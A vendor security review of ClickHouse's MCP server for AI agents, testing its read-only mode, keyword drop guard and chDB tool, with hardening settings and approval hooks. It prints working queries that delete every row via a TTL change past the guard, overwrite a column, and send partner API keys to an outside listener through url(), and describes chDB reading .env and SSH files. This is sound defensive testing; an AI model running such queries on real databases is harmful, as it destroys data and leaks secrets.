ClickHouse MCP server: what read-only stops, what the drop guard misses, and how to make your agent ask
The tools of ClickHouse's official MCP server (mcp-clickhouse 0.7.0), checked by running it against ClickHouse 26.11 in Docker: what its default read-only mode stopped, how a TTL change and a column rewrite deleted and overwrote data with the destructive-operation guard on, how url() sent a key to another server, why the chDB tool read a .env file, and the Claude Code settings that make it ask.
Checked on by running mcp-clickhouse 0.7.0 (PyPI, run with uvx on Python 3.12) from ClickHouse/mcp-clickhouse and reading its tools/list answer. Each tier is the tool risk checker’s reading, with our reason wherever we changed it. Written by the people who make VariantGate.
The short answer
Its default read-only mode is enforced by ClickHouse itself and held, but it reads whatever the user can, and the write switch's drop guard missed a TTL change that deleted every row. Let the two list tools run unasked, make run_query ask, give it a user granted SELECT on one database, and keep chDB off.
- Can run on their own
- 2
- Should ask a person
- 2
Lethal trifecta: This server can read private data and send data out. Beside a server that can take in content other people wrote, a setup holds all three legs of the lethal trifecta. Check your whole setup
Which ClickHouse server this is
This page is about ClickHouse’s own server, ClickHouse/mcp-clickhouse, published on PyPI as mcp-clickhouse. We ran 0.7.0, the latest release, with uvx on Python 3.12 against ClickHouse 26.11.3 in Docker, signed in as the admin user the image creates, with a second user, other, running its own queries. It offers three tools: list_databases, list_tables and run_query. A fourth, run_chdb_select_query, appears only with CHDB_ENABLED=true and the chdb extra installed. No tool carries a read-only or destructive hint, and we found no telemetry in its code.
Read-only by default, and ClickHouse enforces it
Unless CLICKHOUSE_ALLOW_WRITE_ACCESS=true is set, the server sends every query with the ClickHouse setting readonly=1. That check runs in ClickHouse, not in the server, and it held for everything we tried, even as the admin user:
INSERT,OPTIMIZE,CREATE USERandSYSTEM DROP DNS CACHEgot “Cannot execute query in readonly mode”.SETTINGS readonly=0on a query and a plainSET readonly=0were both refused.url(),remote()andINSERT INTO FUNCTION url()were refused, and our listener saw no request.KILL QUERYon the other user’s running query was refused, andfile('/etc/passwd')stayed outsideuser_files.
What a read still reaches
Read-only does not narrow what the user may read. Signed in as the admin user, run_query returned the other user’s finished query from system.query_log, with the API key it had written into its WHERE clause, the other user’s running query from system.processes, the user list from system.users, and a table of partner API keys in another database. list_tables shows each table’s CREATE statement, but an S3 table’s secret key came back as [HIDDEN], as ClickHouse does by default. A user granted SELECT on one database got ACCESS_DENIED on system.query_log, system.processes and system.users.
With write access on, the drop guard misses a lot
CLICKHOUSE_ALLOW_WRITE_ACCESS=true lifts readonly. A second switch, CLICKHOUSE_ALLOW_DROP, defaults to false: the server then refuses any query with DROP, TRUNCATE, DELETE, UPDATE and a few other words in it. Its own README calls that “a best-effort guard against accidents” and not a security boundary, and that is what we saw. With the guard on:
- A TTL change and a merge deleted every row of a table, without one of the guarded words.
MODIFY COLUMN email String MATERIALIZED 'gone'and thenMATERIALIZE COLUMN emailoverwrote every customer’s email.ALTER USER other IDENTIFIED BY …changed the other user’s password, andCREATE USERmade a new one.RENAME TABLEandEXCHANGE TABLESswapped a table of API keys with the orders table.
ALTER TABLE shop.orders MODIFY TTL d + INTERVAL 1 DAY;
OPTIMIZE TABLE shop.orders FINAL;
SELECT count() FROM shop.orders; -- 0Writes also open the network. INSERT INTO FUNCTION url() POSTed the partner key to a server we ran, and a SELECT from a url() built with concat() sent the same key in a query string. On its first query, the server did log a warning that the user held ALTER, DROP and TRUNCATE, which its guard cannot enforce, but only the user’s grants stop them.
INSERT INTO FUNCTION url('http://host.docker.internal:18999/ins', 'CSV', 'k String')
SELECT api_key FROM billing.partner_keysThe chDB tool runs on your machine
run_chdb_select_query runs chDB 26.11.1, ClickHouse as a library, inside the server’s own process. Despite its name, it runs any SQL, and the server applies no read-only setting to it. Started in a project folder, file('.env') returned the project’s secret, file() on ~/.ssh/known_hosts worked too, INSERT INTO FUNCTION url() POSTed the .env line to a server we ran, and INSERT INTO FUNCTION file() wrote a new file into the folder. It can reach whatever the person running the server can.
A safer setup
Give the server its own ClickHouse user, with a settings profile that pins readonly so no switch or query can lift it, and grant it SELECT on the one database the agent needs:
CREATE SETTINGS PROFILE mcp_readonly
SETTINGS readonly = 1 CONST, max_execution_time = 30, max_result_rows = 10000;
CREATE USER mcp_ro IDENTIFIED BY '…' SETTINGS PROFILE mcp_readonly;
GRANT SELECT ON shop.* TO mcp_ro;With that user, even with CLICKHOUSE_ALLOW_WRITE_ACCESS=true set, a TTL change got ACCESS_DENIED, and so did url() and the system tables above. Then add the server without the write switch and without chDB:
claude mcp add clickhouse -e CLICKHOUSE_HOST=clickhouse.internal -e CLICKHOUSE_USER=mcp_ro -e CLICKHOUSE_PASSWORD=… -e UV_PYTHON=3.12 -- uvx mcp-clickhouse==0.7.0CLICKHOUSE_SECURE defaults to true, port 8443; we ran over plain HTTP on a local port and did not test TLS. The password sits in Claude Code’s config, so make it for this user alone.
Its 4 tools
Reaches people1 toolAsk a person: once it reaches someone, it cannot be unsent.
run_chdb_select_queryRun SQL in chDB, an in-process ClickHouse engine.
Server gives no read-only or destructive hint · toolset chdb
Our call: Off unless CHDB_ENABLED=true. Despite its name it runs any SQL, with no read-only mode, inside the server's own process: it read a .env file and ~/.ssh/known_hosts from the machine and POSTed the .env line to a server we ran.
Not sure1 toolAsk a person until you have checked what it does.
run_queryExecute SQL queries in ClickHouse.
Server gives no read-only or destructive hint · toolset clickhouse
Our call: Read-only by default, and that held: inserts, url(), remote() and SETTINGS readonly=0 were refused. It still reads all the user can see, including other people's SQL in system.query_log. With CLICKHOUSE_ALLOW_WRITE_ACCESS=true it deleted every row through a TTL change, even with the drop guard on.
Only looks2 toolsLet it run. It only looks.
list_databasesList available ClickHouse databases
Server gives no read-only or destructive hint · toolset clickhouse
Our call: Runs SHOW DATABASES and returns the names, nothing else. It takes no arguments, so the model cannot turn it into another query.
list_tablesList available ClickHouse tables in a database, including schema, comment, row count, and column count.
Server gives no read-only or destructive hint · toolset clickhouse
Our call: Returns each table's CREATE statement, row count and comment. An S3 table's secret key came back as [HIDDEN], so engine credentials stayed out.
Let the reads run in Claude Code
Claude Code asks before every MCP tool it has no rule for. Added as clickhouse, this server’s tools are named mcp__clickhouse__<tool>. These allow rules, in .claude/settings.json or ~/.claude/settings.json, let the tools that only look run without a prompt. Everything else keeps asking, including any tool a later version of the server adds.
{
"permissions": {
"allow": [
"mcp__clickhouse__list_databases",
"mcp__clickhouse__list_tables"
]
}
}The command that adds the server:
claude mcp add clickhouse -e CLICKHOUSE_HOST=clickhouse.internal -e CLICKHOUSE_USER=mcp_ro -e CLICKHOUSE_PASSWORD=… -e UV_PYTHON=3.12 -- uvx mcp-clickhouse==0.7.0Send the rest to a person, not the terminal
A prompt in the terminal only works while someone is watching it. With this hook, every other tool of the server becomes a request in your VariantGate inbox, on your phone or in Slack, and Claude Code waits for the answer. The matcher names the look-only tools, so a tool added later is sent too. Put the key in VARIANTGATE_KEY, or run the one-command setup for Claude Code first.
{
"hooks": {
"PreToolUse": [
{
"matcher": "mcp__clickhouse__(?!(list_databases|list_tables)$).*",
"hooks": [
{ "type": "command", "command": "variantgate hook claude-code", "timeout": 180 }
]
}
]
}
}Disagree with a tier, or run the server with other flags? Open these tools in the tool risk checker, change what you like, and copy the settings for your own setup. It runs in your browser and starts from its own reading, so a tool we marked as only looking by hand asks there until you change it.
Set it up in Cursor, VS Code, Codex, Gemini CLI and other clients
The same server as the claude mcp add line above, written the way each client reads it, for Claude Desktop, Cursor, VS Code, Windsurf, Codex, Gemini CLI, Cline and Zed. Cursor and VS Code add it in one click: the app shows the settings and asks before it saves them. Set up like this, every tool runs as soon as the model calls it; the next section puts a person in front of the ones that change things. Running it with other flags? Convert your own settings.
claude_desktop_config.json{
"mcpServers": {
"clickhouse": {
"command": "uvx",
"args": [
"mcp-clickhouse==0.7.0"
],
"env": {
"CLICKHOUSE_HOST": "clickhouse.internal",
"CLICKHOUSE_USER": "mcp_ro",
"CLICKHOUSE_PASSWORD": "…",
"UV_PYTHON": "3.12"
}
}
}
}~/.cursor/mcp.json or .cursor/mcp.json{
"mcpServers": {
"clickhouse": {
"command": "uvx",
"args": [
"mcp-clickhouse==0.7.0"
],
"env": {
"CLICKHOUSE_HOST": "clickhouse.internal",
"CLICKHOUSE_USER": "mcp_ro",
"CLICKHOUSE_PASSWORD": "…",
"UV_PYTHON": "3.12"
}
}
}
}.vscode/mcp.json{
"servers": {
"clickhouse": {
"type": "stdio",
"command": "uvx",
"args": [
"mcp-clickhouse==0.7.0"
],
"env": {
"CLICKHOUSE_HOST": "clickhouse.internal",
"CLICKHOUSE_USER": "mcp_ro",
"CLICKHOUSE_PASSWORD": "…",
"UV_PYTHON": "3.12"
}
}
}
}~/.codeium/windsurf/mcp_config.json{
"mcpServers": {
"clickhouse": {
"command": "uvx",
"args": [
"mcp-clickhouse==0.7.0"
],
"env": {
"CLICKHOUSE_HOST": "clickhouse.internal",
"CLICKHOUSE_USER": "mcp_ro",
"CLICKHOUSE_PASSWORD": "…",
"UV_PYTHON": "3.12"
}
}
}
}~/.codex/config.toml[mcp_servers.clickhouse]
command = "uvx"
args = ["mcp-clickhouse==0.7.0"]
env = { CLICKHOUSE_HOST = "clickhouse.internal", CLICKHOUSE_USER = "mcp_ro", CLICKHOUSE_PASSWORD = "…", UV_PYTHON = "3.12" }~/.gemini/settings.json{
"mcpServers": {
"clickhouse": {
"command": "uvx",
"args": [
"mcp-clickhouse==0.7.0"
],
"env": {
"CLICKHOUSE_HOST": "clickhouse.internal",
"CLICKHOUSE_USER": "mcp_ro",
"CLICKHOUSE_PASSWORD": "…",
"UV_PYTHON": "3.12"
}
}
}
}cline_mcp_settings.json (Configure MCP Servers){
"mcpServers": {
"clickhouse": {
"command": "uvx",
"args": [
"mcp-clickhouse==0.7.0"
],
"env": {
"CLICKHOUSE_HOST": "clickhouse.internal",
"CLICKHOUSE_USER": "mcp_ro",
"CLICKHOUSE_PASSWORD": "…",
"UV_PYTHON": "3.12"
}
}
}
}~/.config/zed/settings.json{
"context_servers": {
"clickhouse": {
"command": "uvx",
"args": [
"mcp-clickhouse==0.7.0"
],
"env": {
"CLICKHOUSE_HOST": "clickhouse.internal",
"CLICKHOUSE_USER": "mcp_ro",
"CLICKHOUSE_PASSWORD": "…",
"UV_PYTHON": "3.12"
}
}
}
}- Add context_servers next to your other settings in the same file.
Any MCP client: put the proxy in front
Claude Desktop, Cursor and most other MCP clients have no hook to send a call to a person. The VariantGate MCP proxy does it in the server’s place: it starts the server, lets the look-only tools above through, and holds every other call until someone approves it in the inbox. Run npx -y https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz login once to save a key, then use the settings for your client:
claude_desktop_config.json{
"mcpServers": {
"clickhouse": {
"command": "npx",
"args": [
"-y",
"https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz",
"mcp-proxy",
"--name",
"clickhouse",
"--look-only",
"list_databases,list_tables",
"--",
"uvx",
"mcp-clickhouse==0.7.0"
],
"env": {
"CLICKHOUSE_HOST": "clickhouse.internal",
"CLICKHOUSE_USER": "mcp_ro",
"CLICKHOUSE_PASSWORD": "…",
"UV_PYTHON": "3.12"
}
}
}
}~/.cursor/mcp.json or .cursor/mcp.json{
"mcpServers": {
"clickhouse": {
"command": "npx",
"args": [
"-y",
"https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz",
"mcp-proxy",
"--name",
"clickhouse",
"--look-only",
"list_databases,list_tables",
"--",
"uvx",
"mcp-clickhouse==0.7.0"
],
"env": {
"CLICKHOUSE_HOST": "clickhouse.internal",
"CLICKHOUSE_USER": "mcp_ro",
"CLICKHOUSE_PASSWORD": "…",
"UV_PYTHON": "3.12"
}
}
}
}.vscode/mcp.json{
"servers": {
"clickhouse": {
"type": "stdio",
"command": "npx",
"args": [
"-y",
"https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz",
"mcp-proxy",
"--name",
"clickhouse",
"--look-only",
"list_databases,list_tables",
"--",
"uvx",
"mcp-clickhouse==0.7.0"
],
"env": {
"CLICKHOUSE_HOST": "clickhouse.internal",
"CLICKHOUSE_USER": "mcp_ro",
"CLICKHOUSE_PASSWORD": "…",
"UV_PYTHON": "3.12"
}
}
}
}~/.codeium/windsurf/mcp_config.json{
"mcpServers": {
"clickhouse": {
"command": "npx",
"args": [
"-y",
"https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz",
"mcp-proxy",
"--name",
"clickhouse",
"--look-only",
"list_databases,list_tables",
"--",
"uvx",
"mcp-clickhouse==0.7.0"
],
"env": {
"CLICKHOUSE_HOST": "clickhouse.internal",
"CLICKHOUSE_USER": "mcp_ro",
"CLICKHOUSE_PASSWORD": "…",
"UV_PYTHON": "3.12"
}
}
}
}~/.codex/config.toml[mcp_servers.clickhouse]
command = "npx"
args = ["-y", "https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz", "mcp-proxy", "--name", "clickhouse", "--look-only", "list_databases,list_tables", "--", "uvx", "mcp-clickhouse==0.7.0"]
env = { CLICKHOUSE_HOST = "clickhouse.internal", CLICKHOUSE_USER = "mcp_ro", CLICKHOUSE_PASSWORD = "…", UV_PYTHON = "3.12" }~/.gemini/settings.json{
"mcpServers": {
"clickhouse": {
"command": "npx",
"args": [
"-y",
"https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz",
"mcp-proxy",
"--name",
"clickhouse",
"--look-only",
"list_databases,list_tables",
"--",
"uvx",
"mcp-clickhouse==0.7.0"
],
"env": {
"CLICKHOUSE_HOST": "clickhouse.internal",
"CLICKHOUSE_USER": "mcp_ro",
"CLICKHOUSE_PASSWORD": "…",
"UV_PYTHON": "3.12"
}
}
}
}cline_mcp_settings.json (Configure MCP Servers){
"mcpServers": {
"clickhouse": {
"command": "npx",
"args": [
"-y",
"https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz",
"mcp-proxy",
"--name",
"clickhouse",
"--look-only",
"list_databases,list_tables",
"--",
"uvx",
"mcp-clickhouse==0.7.0"
],
"env": {
"CLICKHOUSE_HOST": "clickhouse.internal",
"CLICKHOUSE_USER": "mcp_ro",
"CLICKHOUSE_PASSWORD": "…",
"UV_PYTHON": "3.12"
}
}
}
}~/.config/zed/settings.json{
"context_servers": {
"clickhouse": {
"command": "npx",
"args": [
"-y",
"https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz",
"mcp-proxy",
"--name",
"clickhouse",
"--look-only",
"list_databases,list_tables",
"--",
"uvx",
"mcp-clickhouse==0.7.0"
],
"env": {
"CLICKHOUSE_HOST": "clickhouse.internal",
"CLICKHOUSE_USER": "mcp_ro",
"CLICKHOUSE_PASSWORD": "…",
"UV_PYTHON": "3.12"
}
}
}
}- Add context_servers next to your other settings in the same file.
Already have it in Claude Desktop? One command rewrites the file for you, with these look-only tools filled in, and keeps the old one (setup vscode does the same for VS Code; how it works):
npx -y https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz setup claude-desktopThe same in Claude Code, instead of the hook. The proxy now asks about every call that matters, so an allow rule for the whole server, mcp__clickhouse, keeps Claude Code from asking a second time in the terminal:
claude mcp add clickhouse -e CLICKHOUSE_HOST=clickhouse.internal -e CLICKHOUSE_USER=mcp_ro -e CLICKHOUSE_PASSWORD=… -e UV_PYTHON=3.12 -- npx -y https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz mcp-proxy --name clickhouse --look-only list_databases,list_tables -- uvx mcp-clickhouse==0.7.0When the agent should write
Keep run_query on ask even in read-only mode: a person sees the SQL and can stop a query that reads another team’s tables or the query log. If an agent must write, run a second copy of the server for it, with its own user granted only INSERT on the tables it fills, and keep that one on ask too. A TTL change, a column rewrite or a url() insert reads as an ordinary ALTER or INSERT, so the person answering should read the whole statement, not look for DROP.
See it before you decide.
The playground runs the whole approval loop in your browser, no account needed. When it fits, the free plan covers 100 requests a month.